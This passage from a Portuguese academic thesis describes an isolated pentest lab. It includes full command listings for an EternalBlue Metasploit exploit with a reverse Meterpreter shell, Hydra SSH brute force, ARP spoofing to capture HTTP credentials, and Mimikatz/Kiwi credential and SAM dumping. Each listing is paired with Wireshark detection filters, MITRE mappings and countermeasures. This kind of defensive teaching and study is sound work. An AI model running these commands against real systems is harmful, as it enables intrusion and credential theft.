3 nmap -sS -sV -O -p- 192.168.56.0/24 \
4   -oA recon/full_scan
5
6 nmap,script smb-enum-shares,smb-enum-users \
7   ,script ldap-search \
8   192.168.56.10 -oN recon/enum_servicos.txt
9
10 nmap,script vuln 192.168.56.10 \
11   -oN recon/vuln_scan.txt

```

Listing 1: Varredura completa com Nmap

Evidências esperadas no Wireshark: Grande volume de pacotes SYN para múltiplas portas originados de 192.168.56.50 (Kali), com respostas SYN/ACK das portas abertas e RST das fechadas. O filtro `ip.src == 192.168.56.50 && tcp.flags.syn == 1 && tcp.flags.ack == 0` deve isolar os pacotes de varredura. A análise do gráfico IO Graph deve mostrar um *spike* de tráfego correspondente ao período da varredura.

MITRE ATT&CK: T1046, *Network Service Discovery*.

4.4 Cenário C2, Scan de Vulnerabilidades com Nessus

Objetivo: Identificar e quantificar vulnerabilidades no Windows Server 2008 utilizando o Nessus, gerando um relatório de risco com classificação CVSS como base para priorização da exploração.

Procedimento: Criação de uma política de scan do tipo *Advanced Network Scan* no Nessus Essentials, configurando o alvo 192.168.56.10, credenciais para scan autenticado (opcional) e execução do scan completo. O relatório gerado em PDF documenta vulnerabilidades por nível de severidade (Crítica, Alta, Média, Baixa e Informacional) com referência ao CVE e às recomendações de remediação (Sowmyashree; Guruprasad, 2020).

Critério de sucesso: Identificação da CVE-2017-0144 (EternalBlue) como vulnerabilidade crítica (CVSS 9.8), confirmando o vetor a ser explorado no cenário C3.

4.5 Cenário C3, Exploração EternalBlue com Metasploit

Objetivo: Explorar a CVE-2017-0144 no Windows Server 2008 para obter uma sessão Meterpreter com privilégios de SYSTEM, demonstrando o impacto de um serviço SMBv1 não corrigido.

Comandos:

```

1 msfconsole -q
2
3 use exploit/windows/smb/ms17_010_eternalblue
4 set RHOSTS 192.168.56.10
5 set LHOST 192.168.56.50
6 set PAYLOAD windows/x64/meterpreter/reverse_tcp
7
8 check
9
10 run
11
12 meterpreter > getuid
13 meterpreter > sysinfo
14 meterpreter > ipconfig

```

Listing 2: Exploracao EternalBlue via Metasploit

Evidências esperadas no Wireshark: Negociação SMBv1 entre os dois *hosts*, seguida de uma requisição Transaction2 com *payload* de tamanho anômalo (superior a 65.535 bytes, causando o *buffer overflow*). Após a exploração, uma conexão TCP de volta ao Kali (192.168.56.50:4444) deve ser visível, representando o canal Meterpreter. O filtro `tcp.port == 4444 && ip.dst == 192.168.56.50` isola o tráfego do *payload* reverso.

MITRE ATT&CK: T1210, *Exploitation of Remote Services*.

4.6 Cenário C4, Força Bruta SSH com Hydra

Objetivo: Demonstrar a efetividade de ataques de dicionário contra serviços SSH em sistemas sem política de bloqueio de conta, e identificar o padrão gerado no tráfego.

Comandos:

```

1
2 hydra -l msfadmin \
3     -P /usr/share/wordlists/rockyou_top1000.txt \
4     192.168.56.20 ssh \
5     -t 4 -V -o resultados/hydra_ssh.txt
6
7 ssh msfadmin@192.168.56.20

```

Listing 3: Ataque de dicionario SSH com Hydra

Evidências esperadas no Wireshark: Múltiplas tentativas de *handshake* SSH (protocolo SSHv2) em rápida sucessão, todas terminando com reset ou encerramento após a fase de autenticação. O filtro `tcp.port == 22 && ip.src == 192.168.56.50` seguido da análise de *Conversations* revela o volume de tentativas. A frequência de novas conexões TCP à porta 22 em curto intervalo é o indicador principal do ataque.

MITRE ATT&CK: T1110.001, *Brute Force: Password Guessing*.

4.7 Cenário C5, ARP Spoofing e Captura de Credenciais HTTP

Objetivo: Realizar um ataque MitM via ARP Spoofing para interceptar credenciais HTTP enviadas ao DVWA, demonstrando o risco de protocolos não criptografados em redes locais.

Comandos:

```
1 echo 1 > /proc/sys/net/ipv4/ip_forward
2
3 arpspoof -i eth1 -t 192.168.56.30 192.168.56.1 &
4 arpspoof -i eth1 -t 192.168.56.1 192.168.56.30 &
5
6 killall arpspoof
7 echo 0 > /proc/sys/net/ipv4/ip_forward
```

Listing 4: ARP Spoofing e interceptacao HTTP

Evidências esperadas no Wireshark: Pacotes ARP gratuitos associando o MAC do Kali ao IP do gateway (192.168.56.1), identificados pelo filtro `arp.duplicate-address-detected`. Após o redirecionamento, pacotes HTTP originalmente destinados ao gateway passam pela interface do Kali, tornando visível o conteúdo dos formulários POST, incluindo os campos `username` e `password` do DVWA.

MITRE ATT&CK: T1557.002, *Man-in-the-Middle: ARP Cache Poisoning*.

4.8 Cenário C6, Dump de Credenciais Pós-Exploração

Objetivo: Demonstrar a fase de pós-exploração executando o módulo Kiwi (Mimikatz integrado) na sessão Meterpreter obtida no cenário C3, para extrair *hashes* de credenciais em memória.

Comandos:

```
1 meterpreter > load kiwi
2 meterpreter > creds_all
3 meterpreter > lsa_dump_sam
4 meterpreter > hashdump
5
6 meterpreter > download C:\\Windows\\System32\\config\\SAM \\
```

Listing 5: Dump de credenciais via Meterpreter/Kiwi

Evidências no Wireshark: O tráfego de pós-exploração é conduzido pelo canal Meterpreter já estabelecido (TCP/4444), portanto os pacotes aparecem criptografados como tráfego TCP genérico. A análise do volume de dados transferidos nessa sessão (visível em *Conversations*) revela *spikes* correspondentes ao envio dos módulos Kiwi e ao *download* do arquivo SAM.

MITRE ATT&CK: T1003.002, *OS Credential Dumping: Security Account Manager*.

4.9 Artefatos e ambiente Laboratorial

A estrutura de artefatos gerados durante os testes segue a organização abaixo, refletindo as fases do PTES:

```
1 tcc-lab/
2   recon/
3   capturas/
4   evidencias/
```

```
5  exploracao/  
6  pos-exploracao/  
7  relatorios/
```

Listing 6: Estrutura de artefatos do laboratorio

O ambiente laboratorial é composto por cinco máquinas virtuais (VMs) operando em uma rede interna isolada, provisionada por um virtualizador em um miniPC dell. A Tabela 2 descreve a configuração de cada VM.

Tabela 2: Especificações das máquinas virtuais do laboratório

VM	IP	vCPUs	RAM	Função
Kali Linux 2024.1	192.168.56.50	2	2 GB	Atacante (pentest)
Windows Server 2008 R2	192.168.56.10	2	2 GB	Alvo Windows (SMBv1, AD)
Metasploitable 2	192.168.56.20	1	512 MB	Alvo Linux vulnerável
Ubuntu 22.04 + DVWA	192.168.56.30	1	1 GB	Alvo web (HTTP, PHP)
Wireshark Capture VM	192.168.56.5	1	2 GB	Monitor passivo de tráfego

4.10 Resultados Esperados

A execução dos seis cenários do MVP deverá produzir um conjunto de evidências que demonstrem, de forma reproduzível, o ciclo completo de ataque e detecção em redes corporativas. A correlação entre cada ataque e seu padrão de tráfego no Wireshark é o principal contributo acadêmico deste trabalho: ao documentar quais filtros e estatísticas revelam cada técnica de ataque, o MVP fornece um *playbook* prático para equipes de monitoramento de redes.

Espera-se que o cenário C1 (Nmap) gere um arquivo .pcapng com aproximadamente 50.000 a 150.000 pacotes, dependendo da faixa de portas varrida, evidenciando claramente o padrão de SYN sem resposta para portas fechadas. O cenário C3 (EternalBlue) deverá demonstrar que mesmo sistemas sem acesso físico podem ser completamente comprometidos em menos de dois minutos após a identificação da vulnerabilidade, reforçando a importância da gestão de patches. O cenário C5 (ARP Spoofing) deverá evidenciar que credenciais HTTP são capturáveis sem qualquer ferramenta especializada além do Wireshark, fundamentando a necessidade de HTTPS universal mesmo em redes internas.

As contramedidas propostas para cada cenário incluem:

- Aplicar o patch MS17-010 e desabilitar SMBv1 via PowerShell (`Set-SmbServerConfiguration -EnableSMB1Protocol $false`) para C3;
- Implementar política de bloqueio de conta (*Account Lockout Policy*) via GPO para C4;
- Ativar HTTPS com HSTS e implementar Dynamic ARP Inspection (DAI) em *switches* gerenciáveis para C5;
- Adotar o princípio do menor privilégio com senhas complexas e MFA para C6.

REFERÊNCIAS

MITRE CORPORATION. **MITRE ATT&CK Enterprise Matrix**. [S. l.: s. n.], 2023. Acesso em: jun. 2026. Disponível em: <https://attack.mitre.org>.

NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY. **NVD – CVE-2017-0144 Detail**. [S. l.: s. n.], 2017. National Vulnerability Database. Acesso em: jun. 2026. Disponível em: <https://nvd.nist.gov/vuln/detail/CVE-2017-0144>.

PENETRATION TESTING EXECUTION STANDARD. **PTES Technical Guidelines**. [S. l.: s. n.], 2014. Acesso em: jun. 2026. Disponível em: http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines.

PLUMMER, David C. **An Ethernet Address Resolution Protocol**. [S. l.], 1982. Disponível em: <https://www.rfc-editor.org/rfc/rfc826>.

POSTEL, Jon. **Transmission Control Protocol**. [S. l.], 1981. Disponível em: <https://www.rfc-editor.org/rfc/rfc793>.

ROSE, Scott *et al.* **Zero Trust Architecture**. Gaithersburg, MD, 2020. Disponível em: <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-207.pdf>.

SCARFONE, Karen *et al.* **Technical Guide to Information Security Testing and Assessment**. Gaithersburg, MD, 2008. Disponível em: <https://nvlpubs.nist.gov/nistpubs/legacy/SP/nistspecialpublication800-115.pdf>.

SOWMYASHREE, A.; GURUPRASAD, H. S. Evaluation and Analysis of Vulnerability Scanners: Nessus and OpenVAS. **International Research Journal of Engineering and Technology (IRJET)**, v. 7, n. 5, p. 2068–2073, 2020. Disponível em: <https://www.irjet.net/archives/V7/i5/IRJET-V7I5401.pdf>.

STIAWAN, Deris *et al.* Investigating Brute Force Attack Patterns in IoT Network. **Journal of Electrical and Computer Engineering**, v. 2019, p. 1–13, 2019. DOI: 10.1155/2019/4568368. Disponível em: <https://doi.org/10.1155/2019/4568368>.

VERIZON BUSINESS. **2023 Data Breach Investigations Report**. [S. l.: s. n.], 2023. Acesso em: jun. 2026. Disponível em: <https://www.verizon.com/business/resources/reports/2023-data-breach-investigations-report-dbir.pdf>.

WIRESHARK FOUNDATION. **Wireshark User's Guide**. [S. l.: s. n.], 2023. Acesso em: jun. 2026. Disponível em: https://www.wireshark.org/docs/wsug_html_chunked/.